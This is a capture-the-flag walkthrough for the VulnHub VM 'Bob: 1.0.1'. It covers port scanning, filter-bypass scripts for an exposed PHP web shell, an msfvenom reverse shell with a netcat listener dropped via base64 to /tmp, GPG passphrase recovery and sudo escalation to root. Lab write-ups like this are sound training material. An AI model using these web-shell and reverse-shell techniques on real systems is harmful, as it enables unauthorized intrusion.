This post documents the complete walkthrough of Bob: 1.0.1, a boot2root VM created by c0rruptedb1t, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.


Someone attacked the Milburg Highschool Server. The IT staff took down their Windows server and replaced it with a Linux server running Debian. Your mission, should you choose to accept, is to find the weak points in the new server.

Information Gathering

Let’s kick this off with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
25468/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
|   256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_  256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)

nmap finds 80/tcp open, and four disallowed entries in robots.txt. Although the port 25468/tcp is uncommon for SSH, nothing funky is going on here.

Directory/Files Enumeration

Besides the unverified files from robots.txt, you can run the following command to look for more files. These files are at the end of the hyperlinks found in the site’s landing page.

# curl -s | grep -Po '(href|src)=".*"' | cut -d'"' -f2

contact.html exposes the personnel working in the IT department. We now know that Bob is the admin—we should probably be targeting him.


Otherwise, there’s nothing interesting with these files except for dev_shell.php. It exposes a web shell, our first attack surface—this is how it looks like in the browser.


Web Shell

Although the web shell allows remote execution of commands in the context of www-data, it filters common commands such as cat and ls; and in return, displays unhelpful messages like “Nice try skid” or “Get out skid”.

Essentially, cat reads a file’s content and prints it to standard output in ASCII. If you’ve read permissions for the file, you can use xxd to achieve the same result, by first showing the content in hexadecimal, and then converting it back to ASCII before printing to standard output.

I wrote to establish the idea of using xxd as the replacement for cat.

CMD="xxd -p $1 | tr -d '\n'"

curl \
        -s \
        --data-urlencode "in_command=$CMD" \
        $HOST/$SHELL \
| sed '29!d' \
| sed -r -e 's/^\s+//' -e 's/  <\/div>//' \
| xxd -p -r

Another script I wrote,—uses find as the replacement for ls.

CMD="find $1 -ls"

curl \
        -s \
        --data-urlencode "in_command=$CMD" \
        $HOST/$SHELL \
| sed '/<h5>/,/<\/div>/!d' \
| sed -r -e '1d' -e '$d' -e 's/^\s+//' \
| column -t

Using to list the files along with their permissions in a directory is easy.

# ./ /var/www/html
396954  4     drwxr-xr-x  2  root  root  4096     Mar  8  23:48  /var/www/html
393294  4     -rw-r--r--  1  root  root  1560     Mar  4  14:09  /var/www/html/login.html
393280  4     -rw-r--r--  1  root  root  3145     Mar  4  14:09  /var/www/html/contact.html
393341  4     -rw-r--r--  1  root  root  84       Mar  5  04:53  /var/www/html/.hint
393297  4     -rw-r--r--  1  root  root  111      Mar  4  14:09  /var/www/html/robots.txt
393292  4     -rw-r--r--  1  root  root  1425     Mar  4  14:09  /var/www/html/index.html.bak
393286  1152  -rw-r--r--  1  root  root  1177950  Mar  4  14:09  /var/www/html/dev_shell_back.png
393293  4     -rw-r--r--  1  root  root  1925     Mar  4  14:09  /var/www/html/lat_memo.html
393301  336   -rw-r--r--  1  root  root  340400   Mar  4  14:09  /var/www/html/WIP.jpg
393295  4     -rw-r--r--  1  root  root  4086     Mar  4  14:09  /var/www/html/news.html
393275  4     -rw-r--r--  1  root  root  2579     Mar  8  23:43  /var/www/html/about.html
393288  4     -rw-r--r--  1  root  root  1361     Mar  4  14:09  /var/www/html/dev_shell.php.bak
393299  28    -rw-r--r--  1  root  root  26357    Mar  4  14:09  /var/www/html/school_badge.png
393287  4     -rw-r--r--  1  root  root  1396     Mar  4  14:09  /var/www/html/dev_shell.php
397124  4     -rw-r--r--  1  root  root  1425     Mar  4  14:09  /var/www/html/index.html
393296  4     -rw-r--r--  1  root  root  673      Mar  8  23:43  /var/www/html/passwords.html

I can then use to display the contents of any file where www-data has read permissions. For example, let’s find out what’s in dev_shell.php.

# ./ /var/www/html/dev_shell.php
    $invalid = 0;
    $command = ($_POST['in_command']);
    $bad_words = array("pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc");
    system("running command...");
      //executes system Command
      //checks for sneaky ;
      if (strpos($command, ';') !==false){
        system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P
        $is_he_a_bad_man = explode(' ', trim($command));
        //checks for dangerous commands
        if (in_array($is_he_a_bad_man[0], $bad_words)){
          system("echo Get out skid lol");

Now that we know how dev_shell.php works, let’s get ourselves a proper shell.

Low-privilege Shell

Here’s an overview of how you can get a low-privilege shell:

On your attacking machine:

  1. Generate a reverse shell with msfvenom.
  2. Set up netcat listener.
  3. Encode the reverse shell in base64.

In the web shell:

  1. Run echo -n [output from #3] | base64 -d > /tmp/rev.
  2. Run chmod +x /tmp/rev in the web shell.
  3. Run /tmp/rev in the web shell.

Step 1: Generate a reverse shell with msfvenom

Before you generate the reverse shell, you need to determine the target’s OS architecture—by running uname -a in the web shell. msfvenom needs this information to generate the correct reverse shell.


The target is running 64-bit Debian.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -a x64 --platform linux -f elf -o rev
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

Step 2: Set up netcat listener

# nc -lnvp 4444

Step 3: Encode the reverse shell in base64

# base64 rev | tr -d  '\n' && echo

Step 4: Run echo -n [output from #3] | base64 -d > /tmp/rev

Because the output of this step ends up in file redirection, you don’t see anything visible in the web shell. You can use md5sum for verification on your attacking machine and in the web shell to ensure the reverse shell is intact and unmodified.

# md5sum rev
f05a125872c14d573304819ac2997782  rev


Good. Both files are identical.

Step 5: Run chmod +x /tmp/rev

Although this step produces no visible output, you can use to verify that rev is executable.


Step 6: Run /tmp/rev

After this step, you should see a reverse shell in your netcat listener like so.


This is a well-known technique—using Python to spawn a shell with output control.


Privilege Escalation

By now, you should have the following information at your fingertips:

  • Four accounts in the host: bob, elliot, jc and seb. They already made their first appearance in contact.html.
  • One account is missing: c0rruptedb1t
  • Bob is a man of secrets. He kept the following files at different locations:
    • .old_passwordfile.html—the original copy of passwords.html.
    • staff.txt—a text file dissing everyone in the IT department except himself.
    •—a bash script that spits out incoherent phrases.
    • login.txt.gpg—a file encrypted with AES symmetric cipher.
  • Elliot detests the admin, and so he decided to change his password to theadminisdumb. ¯\(ツ)

Looking on as an outsider, the submerged power struggle and office politics among the IT guys of Milburg High is starting to surface following the first security breach. I can’t imagine what will happen if there’s another security breach.

Like I said before, Bob is probably the one we should be targeting, judging from the secrets he has harbored. If I’d to guess, I’d say login.txt.gpg contains Bob’s password and contains the hints to decrypt login.txt.gpg.

First, let’s use scp to copy login.txt.gpg and to my attacking machine. Both files are readable by everyone.


# scp -P 25468 [email protected]:/home/bob/Documents/login.gpg .
# scp -P 25468 [email protected]:/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/ .

Next, build a wordlist from the words in like so.

# ./ | grep -Po '[a-zA-Z]+' > wordlist
# wc -l wordlist
60 wordlist

I googled and found PGPCrack-NG. According to the project description,

PGPCrack-NG is a program designed to brute-force symmetrically encrypted PGP files

Precisely what I need. Fits the bill down to a T.

Like a child who has found a new toy, I ran PGPCrack-NG with the wordlist and waited patiently for the password to appear. But, there’s no result at all.

I ran again and again. I kept staring at it endlessly. This can’t be true.

And then the epiphany came…


# ./ | sed 1d | cut -c1 | tr -d '\n' && echo

According to Wikipedia, Harpocrates (Ancient Greek: Ἁρποκράτης) was the god of silence, secrets and confidentiality in the Hellenistic religion developed in Ptolemaic Alexandria (and also an embodiment of hope, according to Plutarch).

This must be the password to decrypt login.txt.gpg.

# gpg -d --passphrase HARPOCRATES --batch login.txt.gpg
gpg: AES encrypted data
gpg: encrypted with 1 passphrase


With Bob’s password, I can SSH to his account and guess what—Bob is the admin alright.


Elevating to root is one command away: sudo -s.